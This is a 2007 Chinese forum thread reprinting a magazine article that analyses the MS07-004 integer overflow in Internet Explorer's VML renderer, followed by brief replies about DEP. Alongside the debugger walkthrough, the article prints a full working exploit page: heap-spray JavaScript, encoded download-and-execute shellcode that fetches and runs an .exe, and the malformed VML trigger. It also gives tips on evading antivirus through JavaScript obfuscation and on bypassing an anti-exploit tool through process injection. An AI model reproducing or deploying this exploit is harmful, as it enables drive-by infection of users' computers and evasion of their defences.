gyzy1986
论坛版主
论坛版主
  • 注册日期2007-03-26
  • 最后登录2008-09-29
  • 粉丝0
  • 关注0
  • 积分332分
  • 威望36点
  • 贡献值0点
  • 好评度33点
  • 原创分2分
  • 专家分0分
阅读:3469回复:4

MS-07004分析和利用

楼主#
更多 发布于:2007-05-10 12:43
本文已经发表在《黑客防线》2007年3月刊。作者及《黑客防线》保留版权,转载请注明。

适合读者:溢出爱好者
前置知识:汇编语言基础,调试基础,缓冲区溢出原理
MS-07004分析和利用
文/图  gyzy【江苏大学信息安全系】
   相信大家对去年的MS06-055还记忆犹新吧,微软的矢量标记语言VML中的Method变量IE未对其进行长度进行检查,导致了一个栈溢出漏洞。2007年的新年钟声刚刚敲响,又一个关于VML的漏洞曝光了,CVMLRecolorinfo::InternalLoad() 中的recolorinfo 方法中存在整数溢出,milw0orm上国外有人第一时间公布了poc代码,无疑为我们的分析过程提供了方便,我们可以从二进制补丁对比中定位到了出现问题的代码,补丁中加了一个对eax检查的指令'cmp eax, 0x5d1745d',如图1:
 

图片:MS07004(1).jpg


图1
相关代码如下:
.text:6FF176A7 loc_6FF176A7:                           ; CODE XREF: sub_6FF17642+21j
.text:6FF176A7                 mov     eax, [esi+8]
.text:6FF176AA                 add     eax, [esi+4]
.text:6FF176AD                 test    eax, eax
.text:6FF176AF                 jle     short loc_6FF176C4
.text:6FF176B1                 imul    eax, 2Ch
.text:6FF176B4                 push    101h
.text:6FF176B9                 push    eax             ; size_t
.text:6FF176BA                 call    sub_6FECFEF4
.text:6FF176BF                 pop     ecx
.text:6FF176C0                 pop     ecx
.text:6FF176C1                 mov     [esi+14h], eax

eax是从html代码中得到的,由于32位寄存器所能表示数的范围是有限的,所以假如我们提交一个很大的数,那么乘以2Ch以后就反而变小了,6FF176BA中的代码调用了malloc申请堆内存,所以这个漏洞本质上来说是因为整数溢出而间接导致了堆溢出,那么我们如何定位这一段代码呢?我们首先在OD中在上面这段代码中下硬断点,在命令行中输入he 7FF176AD,然后打开poc页面,很快OD断了下来,如图2:
 

图片:ms07004(2).JPG


图2
然后跟进6FECFEF4得到了malloc返回的指针003A8320,在这个地址上下写断点,hw 003A8320,断在处,如图3

 

图片:ms07004(3).JPG


图3
push 0B pop ecx和下面的rep movs这三条指令是将rgb(x,x,x)(参见后面的Exp)的颜色参数经过一定的算法(下文简称RGB算法)算出的结果拷贝到堆中,每次0B字节。recolorinfo 中共有五个参数,分别是tocolor、lbcolor、forecolor、backcolor、fromcolor需要经过RGB算法得出,0B*5=2C,我们可以猜测下面每个recolorinfoentry都会拷贝2C个字节到堆中,我们来看看OD下方的数据窗口来验证一下我们的猜测,果然是从003A83FC处开始每2C(十进制的44)字节的数据都是重复的。然后我们按下F9键让IE跑起来,OD提示有异常,如图4:
 

图片:ms07004(4).JPG


图4
很明显某些函数指针被覆盖了,我们在内存中搜索6E006F00,在00010101的地方发现了这串序列,而00010101就是出现在堆内存中的数据,假如我们能将指针指向我们的shellcode,嘿嘿...如何利用呢?这个漏洞又和普通的堆溢出的利用方式有点不同,传统的堆溢出是通过二次Alloc或Free改写RtlEnterCriticalSection 或者Unhandled Exception Filter等指针来获得代码的执行权,而IE里则可以通过一种“暴力扩张堆”的方法来获得代码执行权,就是连接成05050505+shellcode这样的形式,堆是从低地址向高地址增长的,再看看堆中被我们覆盖的数据,假如我们call的不是[00010101]而是[01010100]那就正好跳转到了05050505这个地址,在一连串的Add eax,5050505h指令之后,这些指令是无关紧要的,最终跳入了我们的shellcode中执行,堆中的数据都是由recolorinfo 中的一些参数得到的,具体的算法我也没有细细的跟,头大啊,但rgb(x,x,x)的三个参数最终会直接决定函数指针的指向,网上公布的poc中rgb(1,1,1)生成的地址是00010101。另外这个漏洞因机子而异不会有100%的成功率,相信看到现在读者朋友也该明白是什么原因。然后我们把shellcode换成自己的down&exec的,关于怎么写shellcode大家可以翻翻黑防以前的文章。但是有一点就是记得前面要加4个nop,否则可能出现失败的情况,因为连续的050505会破坏你的shellcode,需要几个nop缓冲一下,害我郁闷好一阵子,汗...我在中文xp SP2 + IE6下测试成功了,测试的代码如下,测试结果如图5:

 

图片:ms07004(5).JPG


<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>

<SCRIPT language="javascript">
shellcode =
unescape("%u9090%u9090%uD5E9%u0000%u5A00%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uD88B%u738B%u8B3C%u1E74%u0378%u8BF3%u207E%uFB03%u4E8B%u3314%u56ED%u5157%u3F8B%uFB03%uF28B%u0E6A%uF359%u74A6%u5908%u835F%u04C7%uE245%u59E9%u5E5F%uCD8B%u468B%u0324%uD1C3%u03E1%u33C1%u66C9%u088B%u468B%u031C%uC1C3%u02E1%uC103%u008B%uC303%uFA8B%uF78B%uC683%u8B0E%u6AD0%u5904%u50E8%u0000%u8300%u0DC6%u5652%u57FF%u5AFC%uD88B%u016A%uE859%u003D%u0000%uC683%u5613%u8046%u803E%uFA75%u3680%u5E80%uEC83%u8B20%u6ADC%u5320%u57FF%uC7EC%u0304%u615C%u652E%u44C7%u0403%u6578%u0000%uC033%u5050%u5653%uFF50%uFC57%uDC8B%u5350%u57FF%u50F0%u57FF%u33F4%uACC0%uC085%uF975%u5251%u5356%uD2FF%u595A%uE2AB%u33EE%uC3C0%u26E8%uFFFF%u47FF%u7465%u7250%u636F%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574%u446D%u7269%u6365%u6F74%u7972%u0041%u6957%u456E%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4C00%u616F%u4C64%u6269%u6172%u7972%u0041%u7275%u6D6C%u6E6F%u5500%u4C52%u6F44%u6E77%u6F6C%u6461%u6F54%u6946%u656C%u0041%u7468%u7074%u2f3a%u312f%u3732%u302e%u302e%u312e%u672f%u7a79%u2e79%u7865%u8065");

bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>

另外,为了方便黑防读者的测试,我写了一个生成器,填充的是down&exec的Shellcode,填入要下载的程序的网址点生成即可,假如一切顺利,程序将会被执行,希望大家不要用于非法用途啊!需要扩展功能的自己可以改shellcode,通过更改RGB算法中的三个参数可以更加精确的定位shellcode,假如读者朋友有什么好的思路或者方法,一定要告诉大家啊,另外javascript加密可以躲过杀毒软件的追杀,瑞星卡卡有个防漏墙功能可以阻止IE执行代码,在一定程度上确实让相当一部分网马没辙了,在这里也推荐广大网民使用,以免中招,但世界上没有不透风的墙,假如我们在shellcode中将代码注入其他进程下载执行那么防漏墙就形同虚设了,我的博客www.gyzy.org就有这样的shellcode,有兴趣的读者可以改进一下shellcode
    文章写的比较匆忙,错误纰漏在所难免,权当抛砖引玉,有任何问题,欢迎和我交流:http://www.gyzy.org
(文中涉及程序或代码已经收录到杂志配套光盘“杂志相关”栏目。)
http://www.gyzy.org 已关闭
znsoft
管理员
管理员
  • 注册日期2001-03-23
  • 最后登录2023-10-25
  • 粉丝300
  • 关注6
  • 积分910分
  • 威望14796点
  • 贡献值7点
  • 好评度2410点
  • 原创分5分
  • 专家分100分
  • 社区居民
  • 最爱沙发
  • 社区明星
沙发#
发布于:2007-05-10 13:33
不错,鼓掌:)
http://www.zndev.com 免费源码交换网 ----------------------------- 软件创造价值,驱动提供力量! 淡泊以明志,宁静以致远。 ---------------------------------- 勤用搜索,多查资料,先搜再问。
wowocock
VIP专家组
VIP专家组
  • 注册日期2002-04-08
  • 最后登录2016-01-09
  • 粉丝16
  • 关注2
  • 积分601分
  • 威望1651点
  • 贡献值1点
  • 好评度1227点
  • 原创分1分
  • 专家分0分
板凳#
发布于:2007-05-10 16:17
你在AMD64的机器上打开PAE模式,然后设置为/NoExecute=OptOut测试看看.
花开了,然后又会凋零,星星是璀璨的,可那光芒也会消失。在这样 一瞬间,人降生了,笑者,哭着,战斗,伤害,喜悦,悲伤憎恶,爱。一切都只是刹那间的邂逅,而最后都要归入死亡的永眠
gyzy1986
论坛版主
论坛版主
  • 注册日期2007-03-26
  • 最后登录2008-09-29
  • 粉丝0
  • 关注0
  • 积分332分
  • 威望36点
  • 贡献值0点
  • 好评度33点
  • 原创分2分
  • 专家分0分
地板#
发布于:2007-05-10 18:32
引用第2楼wowocock2007-05-10 16:17发表的“”:
你在AMD64的机器上打开PAE模式,然后设置为/NoExecute=OptOut测试看看.

wowocock大牛,偶买不起AMD64哈。有条件测试的朋友希望可以给出结果
http://www.gyzy.org 已关闭
icesword
驱动牛犊
驱动牛犊
  • 注册日期2002-06-03
  • 最后登录2009-10-10
  • 粉丝0
  • 关注0
  • 积分3分
  • 威望52点
  • 贡献值0点
  • 好评度22点
  • 原创分0分
  • 专家分0分
地下室#
发布于:2008-02-03 16:43
嗯,溢出攻击在有数据执行保护的机器上是执行不起来的
不过就像VXD技术一样,某些情况下还需要用,研究起来还是很有用的
游客

返回顶部